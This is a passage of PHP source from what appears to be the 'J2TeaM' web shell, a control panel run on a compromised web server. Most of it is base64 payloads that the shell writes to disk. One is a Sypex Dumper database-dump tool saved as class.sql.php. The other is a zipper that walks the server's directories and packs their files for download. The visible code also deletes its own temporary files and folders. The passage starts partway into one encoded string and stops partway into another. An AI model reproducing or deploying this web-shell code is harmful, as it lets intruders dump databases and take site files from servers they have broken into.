yPg0KPFRSPg0KPFREPkZhaWxlZCBUbyBTeXBleCBEdW1wZXIgTGl0ZSByZXF1aXJlcyA6IDxCUj4gLSBJbnRlcm5ldCBFeHBsb3JlciA1LjUrLCBNb3ppbGxhIG9yIE9wZXJhIDgrICg8U1BBTiBJRD1zaWU+LTwvU1BBTj4pPEJSPiAtIGluY2x1ZGVkIHRoZSBKYXZhU2NyaXB0IHNjcmlwdHMgKDxTUEFOIElEPXNqcz4tPC9TUEFOPik8L1REPg0KPC9UUj4NCjwvVEFCTEU+DQo8L0ZJRUxEU0VUPg0KPC9TUEFOPg0KPFNQQU4gSUQ9Ym9keSBTVFlMRT0iZGlzcGxheTogbm9uZTsiPg0KeyRlcnJvcn0NCjxGSUVMRFNFVD4NCjxMRUdFTkQ+WGluIHZ1aSBsJm9ncmF2ZTtuZyBnJm90aWxkZTsgdCZlY2lyYztuICYjMjczOyYjMjU5O25nIG5oJiM3ODUzO3AgdiZhZ3JhdmU7IG0mIzc4NTM7dCBraCYjNzg0OTt1IDwvTEVHRU5EPg0KPFRBQkxFIFdJRFRIPTEwMCUgQk9SREVSPTAgQ0VMTFNQQUNJTkc9MCBDRUxMUEFERElORz0yPg0KPFRSPg0KPFREIFdJRFRIPTQxJT5Vc2VybmFtZTo8L1REPg0KPFREIFdJRFRIPTU5JT48SU5QVVQgTkFNRT1sb2dpbiBUWVBFPXRleHQgQ0xBU1M9dGV4dD48L1REPg0KPC9UUj4NCjxUUj4NCjxURD5QYXNzd29yZDo8L1REPg0KPFREPjxJTlBVVCBOQU1FPXBhc3MgVFlQRT1wYXNzd29yZCBDTEFTUz10ZXh0PjwvVEQ+DQo8L1RSPg0KPC9UQUJMRT4NCjwvRklFTERTRVQ+DQo8L1NQQU4+PGNlbnRlcj5QaGkmZWNpcmM7biBiJiM3ODQzO24gdmkmIzc4Nzk7dCBoJm9hY3V0ZTthIHQmIzc5MTU7IG0mYXRpbGRlOyBuZ3UmIzc4OTE7biBTeXBleCBEdW1wZXIgTGl0ZTwvYj48L2JyPiZjb3B5OyAyMDA4IGJ5IFRhblBodS5OZXQgfCBZYWhvb0lEOiA8Yj5LaVVjVGluaFlldV8xODExPC9jZW50ZXI+DQo8U0NSSVBUPg0KZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NqcycpLmlubmVySFRNTCA9ICcrJzsNCmRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdib2R5Jykuc3R5bGUuZGlzcGxheSA9ICcnOw0KZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2Vycm9yJykuc3R5bGUuZGlzcGxheSA9ICdub25lJzsNCnZhciBqc0VuYWJsZWQgPSB0cnVlOw0KPC9TQ1JJUFQ+DQpIVE1MOw0KfQ0KZnVuY3Rpb24gdHBsX2woJHN0ciwgJGNvbG9yID0gQ19ERUZBVUxUKXsNCiRzdHIgPSBwcmVnX3JlcGxhY2UoIi9cc3syfS8iLCAiICZuYnNwOyIsICRzdHIpOw0KcmV0dXJuIDw8PEhUTUwNCjxTQ1JJUFQ+bCgneyRzdHJ9JywgJGNvbG9yKTs8L1NDUklQVD4NCkhUTUw7DQp9DQpmdW5jdGlvbiB0cGxfZW5hYmxlQmFjaygpew0KcmV0dXJuIDw8PEhUTUwNCjxTQ1JJUFQ+ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2JhY2snKS5kaXNhYmxlZCA9IDA7PC9TQ1JJUFQ+DQpIVE1MOw0KfQ0KZnVuY3Rpb24gdHBsX3MoJHN0LCAkc28pew0KJHN0ID0gcm91bmQoJHN0ICogMTAwKTsNCiRzdCA9ICRzdCA+IDEwMCA/IDEwMCA6ICRzdDsNCiRzbyA9IHJvdW5kKCRzbyAqIDEwMCk7DQokc28gPSAkc28gPiAxMDAgPyAxMDAgOiAkc287DQpyZXR1cm4gPDw8SFRNTA0KPFNDUklQVD5zKHskc3R9LHskc299KTs8L1NDUklQVD4NCkhUTUw7DQp9DQpmdW5jdGlvbiB0cGxfYmFja3VwX2luZGV4KCl7DQpyZXR1cm4gPDw8SFRNTA0KPGEgaHJlZj0iaHR0cDovL2p1bm9va3lvLmJsb2dzcG90LmNvbS8iPkp1bm9fb2t5byYjMzk7cyBCbG9nPC9hPg0KSFRNTDsNCn0NCmZ1bmN0aW9uIHRwbF9lcnJvcigkZXJyb3Ipew0KcmV0dXJuIDw8PEhUTUwNCjxGSUVMRFNFVD4NCjxMRUdFTkQ+VCZlY2lyYztuICYjMjczOyYjMjU5O25nIG5oJiM3ODUzO3AgaG8mIzc4NjM7YyBtJiM3ODUzO3Qga2gmIzc4NDk7dSBzYWkuIFhpbiB2dWkgbCZvZ3JhdmU7bmcgJiMyNzM7JiMyNTk7bmcgbmgmIzc4NTM7cCBsJiM3ODQxO2k8L0xFR0VORD4NCjxUQUJMRSBXSURUSD0xMDAlIEJPUkRFUj0wIENFTExTUEFDSU5HPTAgQ0VMTFBBRERJTkc9MT4NCjxUUj4NCjxURCBBTElHTj1jZW50ZXI+eyRlcnJvcn08L1REPg0KPC9UUj4NCjwvVEFCTEU+DQo8L0ZJRUxEU0VUPg0KSFRNTDsNCn0NCmZ1bmN0aW9uIFNYRF9lcnJvckhhbmRsZXIoJGVycm5vLCAkZXJybXNnLCAkZmlsZW5hbWUsICRsaW5lbnVtLCAkdmFycykgew0KaWYgKCRlcnJubyA9PSAyMDQ4KSByZXR1cm4gdHJ1ZTsNCmlmIChwcmVnX21hdGNoKCIvY2htb2RcKFwpLio/OiBPcGVyYXRpb24gbm90IHBlcm1pdHRlZC8iLCAkZXJybXNnKSkgcmV0dXJuIHRydWU7DQokZHQgPSBkYXRlKCJZLm0uZCBIOmk6cyIpOw0KJGVycm1zZyA9IGFkZHNsYXNoZXMoJGVycm1zZyk7DQplY2hvIHRwbF9sKCJ7JGR0fTxCUj48Qj5BIG1pc3Rha2UhPC9CPiIsIENfRVJST1IpOw0KZWNobyB0cGxfbCgieyRlcnJtc2d9ICh7JGVycm5vfSkiLCBDX0VSUk9SKTsNCmVjaG8gdHBsX2VuYWJsZUJhY2soKTsNCmRpZSgpOw0KfQ==';
1624 $J2TeaM->make_file('J2T_01', 'class.sql.php', $code);
1625 p('<div align="center">');
1626 p($J2TeaM->get_frame('J2T_01/class.sql.php', '40%', '350px'));
1627 formfooter('Remove');
1628 p('</div>');
1629 }
1630}
1631
1632elseif ($action == 'zip') {
1633 if (check_str($disable_functions, 'fopen')) alert('Error: fopen() has been disabled.');
1634 else {
1635 if ($rm_temp && $rm_temp == 'yes') {
1636 @unlink(SA_ROOT . 'zip.php');
1637 if (file_exists('./J2TeaM/')) deltree(SA_ROOT . 'J2TeaM');
1638 header('Location: ' . SELF);
1639 exit;
1640 }
1641 formhead(array('title' => 'Ziper'));
1642 makehide('action', $action);
1643 makehide('rm_temp', 'yes');
1644 $code = 'PD9waHANCkBzZXRfdGltZV9saW1pdCgzNjAwKTsNCiRjb25mWydkaXInXSA9ICdKMlRlYU0nOw0KaWYgKChpc3NldCgkX0dFVFsnc3RlcCddKSkmJighZW1wdHkoJF9HRVRbJ3N0ZXAnXSkpKSAkc3RlcD0kX0dFVFsnc3RlcCddOyBlbHNlICRzdGVwPTA7DQppZiAoKGlzc2V0KCRfR0VUWydkaXJuYW1lJ10pKSYmKCFlbXB0eSgkX0dFVFsnZGlybmFtZSddKSkpICRkaXJuYW1lPSRfR0VUWydkaXJuYW1lJ107IGVsc2UgJGRpcm5hbWU9Jy4nOw0KJGRpcm5hbWUgPSBzdHJfcmVwbGFjZSgnLi4vJywnJywkZGlybmFtZSk7DQpjbGFzcyB6aXBmaWxlDQp7DQogICAgdmFyICRkYXRhc2VjICAgICAgPSBhcnJheSgpOw0KICAgIHZhciAkY3RybF9kaXIgICAgID0gYXJyYXkoKTsNCiAgICB2YXIgJGVvZl9jdHJsX2RpciA9ICJceDUwXHg0Ylx4MDVceDA2XHgwMFx4MDBceDAwXHgwMCI7DQogICAgdmFyICRvbGRfb2Zmc2V0ICAgPSAwOw0KICAgIGZ1bmN0aW9uIHVuaXgyRG9zVGltZSgkdW5peHRpbWUgPSAwKSB7DQogICAgICAgICR0aW1lYXJyYXkgPSAoJHVuaXh0aW1lID09IDApID8gZ2V0ZGF0ZSgpIDogZ2V0ZGF0ZSgkdW5peHRpbWUpOw0KDQogICAgICAgIGlmICgkdGltZWFycmF5Wyd5ZWFyJ10gPCAxOTgwKSB7DQogICAgICAgIAkkdGltZWFycmF5Wyd5ZWFyJ10gICAgPSAxOTgwOw0KICAgICAgICAJJHRpbWVhcnJheVsnbW9uJ10gICAgID0gMTsNCiAgICAgICAgCSR0aW1lYXJyYXlbJ21kYXknXSAgICA9IDE7DQogICAgICAgIAkkdGltZWFycmF5Wydob3VycyddICAgPSAwOw0KICAgICAgICAJJHRpbWVhcnJheVsnbWludXRlcyddID0gMDsNCiAgICAgICAgCSR0aW1lYXJyYXlbJ3NlY29uZHMnXSA9IDA7DQogICAgICAgIH0gLy8gZW5kIGlmDQoNCiAgICAgICAgcmV0dXJuICgoJHRpbWVhcnJheVsneWVhciddIC0gMTk4MCkgPDwgMjUpIHwgKCR0aW1lYXJyYXlbJ21vbiddIDw8IDIxKSB8ICgkdGltZWFycmF5WydtZGF5J10gPDwgMTYpIHwNCiAgICAgICAgICAgICAgICAoJHRpbWVhcnJheVsnaG91cnMnXSA8PCAxMSkgfCAoJHRpbWVhcnJheVsnbWludXRlcyddIDw8IDUpIHwgKCR0aW1lYXJyYXlbJ3NlY29uZHMnXSA+PiAxKTsNCiAgICB9IC8vIGVuZCBvZiB0aGUgJ3VuaXgyRG9zVGltZSgpJyBtZXRob2QNCg0KICAgIGZ1bmN0aW9uIGFkZEZpbGUoJGRhdGEsICRuYW1lLCAkdGltZSA9IDApDQogICAgew0KICAgICAgICAkbmFtZSAgICAgPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsICRuYW1lKTsNCg0KICAgICAgICAkZHRpbWUgICAgPSBkZWNoZXgoJHRoaXMtPnVuaXgyRG9zVGltZSgkdGltZSkpOw0KICAgICAgICAkaGV4ZHRpbWUgPSAnXHgnIC4gJGR0aW1lWzZdIC4gJGR0aW1lWzddDQogICAgICAgICAgICAgICAgICAuICdceCcgLiAkZHRpbWVbNF0gLiAkZHRpbWVbNV0NCiAgICAgICAgICAgICAgICAgIC4gJ1x4JyAuICRkdGltZVsyXSAuICRkdGltZVszXQ0KICAgICAgICAgICAgICAgICAgLiAnXHgnIC4gJGR0aW1lWzBdIC4gJGR0aW1lWzFdOw0KICAgICAgICBldmFsKCckaGV4ZHRpbWUgPSAiJyAuICRoZXhkdGltZSAuICciOycpOw0KDQogICAgICAgICRmciAgID0gIlx4NTBceDRiXHgwM1x4MDQiOw0KICAgICAgICAkZnIgICAuPSAiXHgxNFx4MDAiOyAgICAgICAgICAgIC8vIHZlciBuZWVkZWQgdG8gZXh0cmFjdA0KICAgICAgICAkZnIgICAuPSAiXHgwMFx4MDAiOyAgICAgICAgICAgIC8vIGdlbiBwdXJwb3NlIGJpdCBmbGFnDQogICAgICAgICRmciAgIC49ICJceDA4XHgwMCI7ICAgICAgICAgICAgLy8gY29tcHJlc3Npb24gbWV0aG9kDQogICAgICAgICRmciAgIC49ICRoZXhkdGltZTsgICAgICAgICAgICAgLy8gbGFzdCBtb2QgdGltZSBhbmQgZGF0ZQ0KDQogICAgICAgIC8vICJsb2NhbCBmaWxlIGhlYWRlciIgc2VnbWVudA0KICAgICAgICAkdW5jX2xlbiA9IHN0cmxlbigkZGF0YSk7DQogICAgICAgICRjcmMgICAgID0gY3JjMzIoJGRhdGEpOw0KICAgICAgICAkemRhdGEgICA9IGd6Y29tcHJlc3MoJGRhdGEpOw0KICAgICAgICAkemRhdGEgICA9IHN1YnN0cihzdWJzdHIoJHpkYXRhLCAwLCBzdHJsZW4oJHpkYXRhKSAtIDQpLCAyKTsgLy8gZml4IGNyYyBidWcNCiAgICAgICAgJGNfbGVuICAgPSBzdHJsZW4oJHpkYXRhKTsNCiAgICAgICAgJGZyICAgICAgLj0gcGFjaygnVicsICRjcmMpOyAgICAgICAgICAgICAvLyBjcmMzMg0KICAgICAgICAkZnIgICAgICAuPSBwYWNrKCdWJywgJGNfbGVuKTsgICAgICAgICAgIC8vIGNvbXByZXNzZWQgZmlsZXNpemUNCiAgICAgICAgJGZyICAgICAgLj0gcGFjaygnVicsICR1bmNfbGVuKTsgICAgICAgICAvLyB1bmNvbXByZXNzZWQgZmlsZXNpemUNCiAgICAgICAgJGZyICAgICAgLj0gcGFjaygndicsIHN0cmxlbigkbmFtZSkpOyAgICAvLyBsZW5ndGggb2YgZmlsZW5hbWUNCiAgICAgICAgJGZyICAgICAgLj0gcGFjaygndicsIDApOyAgICAgICAgICAgICAgICAvLyBleHRyYSBmaWVsZCBsZW5ndGgNCiAgICAgICAgJGZyICAgICAgLj0gJG5hbWU7DQoNCiAgICAgICAgLy8gImZpbGUgZGF0YSIgc2VnbWVudA0KICAgICAgICAkZnIgLj0gJHpkYXRhOw0KDQogICAgICAgIC8vICJkYXRhIGRlc2NyaXB0b3IiIHNlZ21lbnQgKG9wdGlvbmFsIGJ1dCBuZWNlc3NhcnkgaWYgYXJjaGl2ZSBpcyBub3QNCiAgICAgICAgLy8gc2VydmVkIGFzIGZpbGUpDQogICAgICAgICRmciAuPSBwYWNrKCdWJywgJGNyYyk7ICAgICAgICAgICAgICAgICAvLyBjcmMzMg0KICAgICAgICAkZnIgLj0gcGFjaygnVicsICRjX2xlbik7ICAgICAgICAgICAgICAgLy8gY29tcHJlc3NlZCBmaWxlc2l6ZQ0KICAgICAgICAkZnIgLj0gcGFjaygnVicsICR1bmNfbGVuKTsgICAgICAgICAgICAgLy8gdW5jb21wcmVzc2VkIGZpbGVzaXplDQoNCiAgICAgICAgLy8gYWRkIHRoaXMgZW50cnkgdG8gYXJyYXkNCiAgICAgICAgJHRoaXMgLT4gZGF0YXNlY1tdID0gJGZyOw0KDQogICAgICAgIC8vIG5vdyBhZGQgdG8gY2VudHJhbCBkaXJlY3RvcnkgcmVjb3JkDQogICAgICAgICRjZHJlYyA9ICJceDUwXHg0Ylx4MDFceDAyIjsNCiAgICAgICAgJGNkcmVjIC49ICJceDAwXHgwMCI7ICAgICAgICAgICAgICAgIC8vIHZlcnNpb24gbWFkZSBieQ0KICAgICAgICAkY2RyZWMgLj0gIlx4MTRceDAwIjsgICAgICAgICAgICAgICAgLy8gdmVyc2lvbiBuZWVkZWQgdG8gZXh0cmFjdA0KICAgICAgICAkY2RyZWMgLj0gIlx4MDBceDAwIjsgICAgICAgICAgICAgICAgLy8gZ2VuIHB1cnBvc2UgYml0IGZsYWcNCiAgICAgICAgJGNkcmVjIC49ICJceDA4XHgwMCI7ICAgICAgICAgICAgICAgIC8vIGNvbXByZXNzaW9uIG1ldGhvZA0KICAgICAgICAkY2RyZWMgLj0gJGhleGR0aW1lOyAgICAgICAgICAgICAgICAgLy8gbGFzdCBtb2QgdGltZSAmIGRhdGUNCiAgICAgICAgJGNkcmVjIC49IHBhY2soJ1YnLCAkY3JjKTsgICAgICAgICAgIC8vIGNyYzMyDQogICAgICAgICRjZHJlYyAuPSBwYWNrKCdWJywgJGNfbGVuKTsgICAgICAgICAvLyBjb21wcmVzc2VkIGZpbGVzaXplDQogICAgICAgICRjZHJlYyAuPSBwYWNrKCdWJywgJHVuY19sZW4pOyAgICAgICAvLyB1bmNvbXByZXNzZWQgZmlsZXNpemUNCiAgICAgICAgJGNkcmVjIC49IHBhY2soJ3YnLCBzdHJsZW4oJG5hbWUpICk7IC8vIGxlbmd0aCBvZiBmaWxlbmFtZQ0KICAgICAgICAkY2RyZWMgLj0gcGFjaygndicsIDAgKTsgICAgICAgICAgICAgLy8gZXh0cmEgZmllbGQgbGVuZ3RoDQogICAgICAgICRjZHJlYyAuPSBwYWNrKCd2JywgMCApOyAgICAgICAgICAgICAvLyBmaWxlIGNvbW1lbnQgbGVuZ3RoDQogICAgICAgICRjZHJlYyAuPSBwYWNrKCd2JywgMCApOyAgICAgICAgICAgICAvLyBkaXNrIG51bWJlciBzdGFydA0KICAgICAgICAkY2RyZWMgLj0gcGFjaygndicsIDAgKTsgICAgICAgICAgICAgLy8gaW50ZXJuYWwgZmlsZSBhdHRyaWJ1dGVzDQogICAgICAgICRjZHJlYyAuPSBwYWNrKCdWJywgMzIgKTsgICAgICAgICAgICAvLyBleHRlcm5hbCBmaWxlIGF0dHJpYnV0ZXMgLSAnYXJjaGl2ZScgYml0IHNldA0KDQogICAgICAgICRjZHJlYyAuPSBwYWNrKCdWJywgJHRoaXMgLT4gb2xkX29mZnNldCApOyAvLyByZWxhdGl2ZSBvZmZzZXQgb2YgbG9jYWwgaGVhZGVyDQogICAgICAgICR0aGlzIC0+IG9sZF9vZmZzZXQgKz0gc3RybGVuKCRmcik7DQoNCiAgICAgICAgJGNkcmVjIC49ICRuYW1lOw0KDQogICAgICAgIC8vIG9wdGlvbmFsIGV4dHJhIGZpZWxkLCBmaWxlIGNvbW1lbnQgZ29lcyBoZXJlDQogICAgICAgIC8vIHNhdmUgdG8gY2VudHJhbCBkaXJlY3RvcnkNCiAgICAgICAgJHRoaXMgLT4gY3RybF9kaXJbXSA9ICRjZHJlYzsNCiAgICB9IC8vIGVuZCBvZiB0aGUgJ2FkZEZpbGUoKScgbWV0aG9kDQoNCiAgICBmdW5jdGlvbiBmaWxlKCkNCiAgICB7DQogICAgICAgICRkYXRhICAgID0gaW1wbG9kZSgnJywgJHRoaXMgLT4gZGF0YXNlYyk7DQogICAgICAgICRjdHJsZGlyID0gaW1wbG9kZSgnJywgJHRoaXMgLT4gY3RybF9kaXIpOw0KDQogICAgICAgIHJldHVybg0KICAgICAgICAgICAgJGRhdGEgLg0KICAgICAgICAgICAgJGN0cmxkaXIgLg0KICAgICAgICAgICAgJHRoaXMgLT4gZW9mX2N0cmxfZGlyIC4NCiAgICAgICAgICAgIHBhY2soJ3YnLCBzaXplb2YoJHRoaXMgLT4gY3RybF9kaXIpKSAuICAvLyB0b3RhbCAjIG9mIGVudHJpZXMgIm9uIHRoaXMgZGlzayINCiAgICAgICAgICAgIHBhY2soJ3YnLCBzaXplb2YoJHRoaXMgLT4gY3RybF9kaXIpKSAuICAvLyB0b3RhbCAjIG9mIGVudHJpZXMgb3ZlcmFsbA0KICAgICAgICAgICAgcGFjaygnVicsIHN0cmxlbigkY3RybGRpcikpIC4gICAgICAgICAgIC8vIHNpemUgb2YgY2VudHJhbCBkaXINCiAgICAgICAgICAgIHBhY2soJ1YnLCBzdHJsZW4oJGRhdGEpKSAuICAgICAgICAgICAgICAvLyBvZmZzZXQgdG8gc3RhcnQgb2YgY2VudHJhbCBkaXINCiAgICAgICAgICAgICJceDAwXHgwMCI7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAvLyAuemlwIGZpbGUgY29tbWVudCBsZW5ndGgNCiAgICB9IC8vIGVuZCBvZiB0aGUgJ2ZpbGUoKScgbWV0aG9kDQogICAgDQogICAgZnVuY3Rpb24gYWRkRmlsZXMoJGZpbGVzIC8qT25seSBQYXNzIEFycmF5Ki8pDQogICAgew0KICAgICAgICBmb3JlYWNoKCRmaWxlcyBhcyAkZmlsZSkgew0KCQkJaWYgKGlzX2ZpbGUoJGZpbGUpKSAvL2RpcmVjdG9yeSBjaGVjaw0KCQkJew0KCQkJCSRkYXRhID0gaW1wbG9kZSgiIixmaWxlKCRmaWxlKSk7DQoJICAgICAgICAgICAgJHRoaXMtPmFkZEZpbGUoJGRhdGEsJGZpbGUpOw0KICAgICAgICAgICAgfSBlbHNlIHsNCi8vCQkJCSRkYXRhID0gaW1wbG9kZSgiIixmaWxlKCJseW5rZnppcGVyLnR4dCIpKTsNCi8vCSAgICAgICAgICAgICR0aGlzLT5hZGRGaWxlKCRkYXRhLCRmaWxlLiIvb25ldm56aXAudHh0Iik7DQoJCQl9CQ0KCQl9DQogICAgfQ0KICAgIA0KICAgIGZ1bmN0aW9uIG91dHB1dCgkZmlsZSkNCiAgICB7DQogICAgICAgICRmcD1mb3BlbigkZmlsZSwidyIpOw0KICAgICAgICBmd3JpdGUoJGZwLCR0aGlzLT5maWxlKCkpOw0KICAgICAgICBmY2xvc2UoJGZwKTsNCiAgICB9DQoNCn0gLy8gZW5kIGNsYXNzDQovLz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQpmdW5jdGlvbiBnZXRkaXIoJHBhdGg9Jy4nKSB7DQpnbG9iYWwgJGRpcmFycmF5LCRjb25mLCRkaXJzaXplOwkNCmlmICgkZGlyID0gb3BlbmRpcigkcGF0aCkpIHsNCiAgd2hpbGUgKGZhbHNlICE9PSAoJGVudHJ5ID0gQHJlYWRkaXIoJGRpcikpKSB7DQoJIGlmICgoJGVudHJ5IT0nLicpJiYoJGVudHJ5IT0nLi4nKSkgew0KCSAgCSRsYXN0ZG90ID0gc3RycnBvcygkZW50cnksJy4nKTsNCgkJJGV4dCA9IGNob3Aoc3RydG9sb3dlcihzdWJzdHIoJGVudHJ5LCRsYXN0ZG90KzEpKSk7DQoJCSRmbmFtZSA9IHN1YnN0cigkZW50cnksMCwkbGFzdGRvdCk7DQoJCWlmICgkcGF0aCE9Jy4nKSAkbmV3cGF0aCA9ICRwYXRoLicvJy4kZW50cnk7DQoJCWVsc2UgJG5ld3BhdGggPSAkZW50cnk7DQoJCSRuZXdwYXRoID0gc3RyX3JlcGxhY2UoJy8vJywnLycsJG5ld3BhdGgpOw0KDQoJCWlmICgoJGVudHJ5IT0najJ0ZWFtX3ppcC5waHAnKSYmKCRlbnRyeSE9J2oydGVhbV96aXAudHh0JykmJigkZW50cnkhPSRjb25mWydkaXInXSkpIHsNCgkJCSRkaXJhcnJheVtdID0gJG5ld3BhdGg7DQoJCQlpZiAoJGZzaXplPUBmaWxlc2l6ZSgkbmV3cGF0aCkpICRkaXJzaXplKz0kZnNpemU7DQoJCQlpZiAoaXNfZGlyKCRuZXdwYXRoKSkgZ2V0ZGlyKCRuZXdwYXRoKTsNCgkJfSANCiAgCSB9DQogIH0NCn0NCn0vLyBlbmQgZnVuYw0KLy89PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KZnVuY3Rpb24gZ2V0Y3VycmVudGRpcigkcGF0aD0nLicpIHsNCmdsb2JhbCAkY29uZjsJDQokZGlyYXJyID0gYXJyYXkoKTsNCmlmICgkZGlyID0gb3BlbmRpcigkcGF0aCkpIHsNCiAgd2hpbGUgKGZhbHNlICE9PSAoJGVudHJ5ID0gQHJlYWRkaXIoJGRpcikpKSB7DQoJIGlmICgoJGVudHJ5IT0nLicpJiYoJGVudHJ5IT0nLi4nKSkgew0KCSAgCSRsYXN0ZG90ID0gc3RycnBvcygkZW50cnksJy4nKTsNCgkJJGV4dCA9IGNob3Aoc3RydG9sb3dlcihzdWJzdHIoJGVudHJ5LCRsYXN0ZG90KzEpKSk7DQoJCSRmbmFtZSA9IHN1YnN0cigkZW50cnksMCwkbGFzdGRvdCk7DQoJCWlmICgkcGF0aCE9Ii4iKSAkbmV3cGF0aCA9ICRwYXRoLicvJy4kZW50cnk7DQoJCWVsc2UgJG5ld3BhdGggPSAkZW50cnk7DQoJCSRuZXdwYXRoID0gc3RyX3JlcGxhY2UoJy8vJywnLycsJG5ld3BhdGgpOw0KDQoJCWlmICgoJGVudHJ5IT0najJ0ZWFtX3ppcC5waHAnKSYmKCRlbnRyeSE9J2oydGVhbV96aXAudHh0JykmJigkZW50cnkhPSRjb25mWydkaXInXSkpIHsNCgkJCSRkaXJhcnJbXSA9ICRuZXdwYXRoOw0KCQl9IA0KICAJIH0NCiAgfQ0KfQ0KcmV0dXJuICRkaXJhcnI7DQp9Ly8gZW5kIGZ1bmMNCi8vPT09PT09PT09PT09PT09PT09PT09PT09PQ0KZnVuY3Rpb24gc2l6ZV9mb3JtYXQoJGJ5dGVzPScnKSB7DQogICRyZXR2YWwgPSAnJzsNCiAgaWYgKCRieXRlcyA+PSAxMDQ4NTc2KSB7DQoJJHJldHZhbCA9IHJvdW5kKCRieXRlcyAvIDEwNDg1NzYgKiAxMDAgKSAvIDEwMCAuICcgTUInOw0KICB9IGVsc2UgaWYgKCRieXRlcyAgPj0gMTAyNCkgew0KCSAgICAkcmV0dmFsID0gcm91bmQoJGJ5dGVzIC8gMTAyNCAqIDEwMCApIC8gMTAwIC4gJyBLQic7DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHJldHZhbCA9ICRieXRlcyAuICcgYnl0ZXMnOw0KICAgICAgfQ0KICByZXR1cm4gJHJldHZhbDsNCn0NCi8vPT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCiRjdXJyZW50ZGlyID0gZ2V0Y3VycmVudGRpcigkZGlybmFtZSk7DQpzb3J0KCRjdXJyZW50ZGlyKTsNCj8+DQo8IURPQ1RZUEUgaHRtbD4NCjxodG1sPg0KPGhlYWQ+DQo8dGl0bGU+WmlwZXI8L3RpdGxlPg0KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgiPg0KPE1FVEEgSFRUUC1FUVVJVj0iQ0FDSEUtQ09OVFJPTCIgQ09OVEVOVD0iTk8tQ0FDSEUiPg0KPHN0eWxlIHR5cGU9InRleHQvY3NzIj4NCjwhLS0NCmh0bWwgew0KCW92ZXJmbG93LXg6IGF1dG87DQoJc2Nyb2xsYmFyLWZhY2UtY29sb3I6ICNDRUNFQ0U7DQoJc2Nyb2xsYmFyLXNoYWRvdy1jb2xvcjogIzZCNkI2QjsNCglzY3JvbGxiYXItaGlnaGxpZ2h0LWNvbG9yOiAjRjhGOEY4Ow0KCXNjcm9sbGJhci0zZGxpZ2h0LWNvbG9yOiAjOEE4QThBOw0KCXNjcm9sbGJhci1kYXJrc2hhZG93LWNvbG9yOiAjOEE4QThBOw0KCXNjcm9sbGJhci10cmFjay1jb2xvcjogIzhBOEE4QTsNCglzY3JvbGxiYXItYXJyb3ctY29sb3I6ICMyMTVBOEM7DQp9DQpib2R5LHRkLHRoIHsNCglmb250LWZhbWlseTogVmVyZGFuYSwgQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZjsNCglmb250LXNpemU6IDEycHg7DQoJY29sb3I6ICMwNjFEMzY7DQp9DQpib2R5IHsNCgltYXJnaW4tbGVmdDogMHB4Ow0KCW1hcmdpbi10b3A6IDBweDsNCgltYXJnaW4tcmlnaHQ6IDBweDsNCgltYXJnaW4tYm90dG9tOiAwcHg7DQoJYmFja2dyb3VuZC1jb2xvcjojRENEQ0RDOw0KfQ0KYTpsaW5rIHsNCgljb2xvcjogI0ZGODQwMDsNCgl0ZXh0LWRlY29yYXRpb246IG5vbmU7DQp9DQphOnZpc2l0ZWQgew0KCXRleHQtZGVjb3JhdGlvbjogbm9uZTsNCgljb2xvcjogI0ZGODQwMDsNCn0NCmE6aG92ZXIgew0KCXRleHQtZGVjb3JhdGlvbjogbm9uZTsNCgljb2xvcjogI0ZGNjYwMDsNCn0NCmE6YWN0aXZlIHsNCgl0ZXh0LWRlY29yYXRpb246IG5vbmU7DQoJY29sb3I6ICNGRjg0MDA7DQp9DQppbWcgeyBib3JkZXIgOiAwcHg7IH0NCi5iZHIgew0KCWJvcmRlcjogMXB4IHNvbGlkICMzNDQ1NTk7DQp9DQouY3RpdHRsZSB7DQoJZm9udC1zaXplOiAxNHB4Ow0KCWZvbnQtd2VpZ2h0OiBib2xkOw0KCWNvbG9yOiAjRkZGRkZGOw0KCXRleHQtZGVjb3JhdGlvbjogbm9uZTsNCgliYWNrZ3JvdW5kLWNvbG9yOiMwMDYzQjA7DQp9DQoubXRpdHRsZSB7DQoJZm9udC1zaXplOiAxNnB4Ow0KCWZvbnQtd2VpZ2h0OiBib2xkOw0KCWNvbG9yOiAjRkZGRkZGOw0KCXRleHQtZGVjb3JhdGlvbjogbm9uZTsNCgliYWNrZ3JvdW5kLWNvbG9yOiMyQjYwODI7DQoJaGVpZ2h0OjQwcHg7DQp9DQouZnRpdHRsZSB7DQoJZm9udC1zaXplOiAxMnB4Ow0KCWZvbnQtd2VpZ2h0OiBib2xkOw0KCWNvbG9yOiAjRkZGRkZGOw0KCXRleHQtZGVjb3JhdGlvbjogbm9uZTsNCgliYWNrZ3JvdW5kLWNvbG9yOiMzQTc0QUI7DQoJaGVpZ2h0OjI1cHg7DQp9DQoudGl0dGxlIHsNCglmb250LXNpemU6IDEycHg7DQoJY29sb3I6ICNGRkZGRkY7DQoJdGV4dC1kZWNvcmF0aW9uOiBub25lOw0KCWJhY2tncm91bmQtY29sb3I6IzNGNjY4QTsNCn0NCi5icl9zcCB7DQoJYm9yZGVyLXRvcC13aWR0aDogMXB4Ow0KCWJvcmRlci10b3Atc3R5bGU6IGRvdHRlZDsNCglib3JkZXItdG9wLWNvbG9yOiAjMDAzMzY2Ow0KCWNvbG9yOiAjMDAzMzMzOw0KCXRleHQtZGVjb3JhdGlvbjogbm9uZTsNCglmb250LXNpemU6IDExcHg7DQp9DQouYnRpdGxlIHsNCgljb2xvcjogI0ZGRkZGRjsNCglmb250LXdlaWdodDogYm9sZDsNCglwYWRkaW5nOjVweDsNCn0NCi5yb3dkaXIgew0KCWJhY2tncm91bmQtY29sb3I6I0VFRUVFRTsNCgljb2xvcjojMDAzMzMzOw0KCWZvbnQtd2VpZ2h0OmJvbGQ7DQp9DQoucm93ZmlsZSB7DQoJYmFja2dyb3VuZC1jb2xvcjojRkZGRkZGOw0KfQ0KLnJvd2J1dCB7DQoJYmFja2dyb3VuZC1jb2xvcjojRkZGRkNDOw0KfQ0KLS0+DQo8L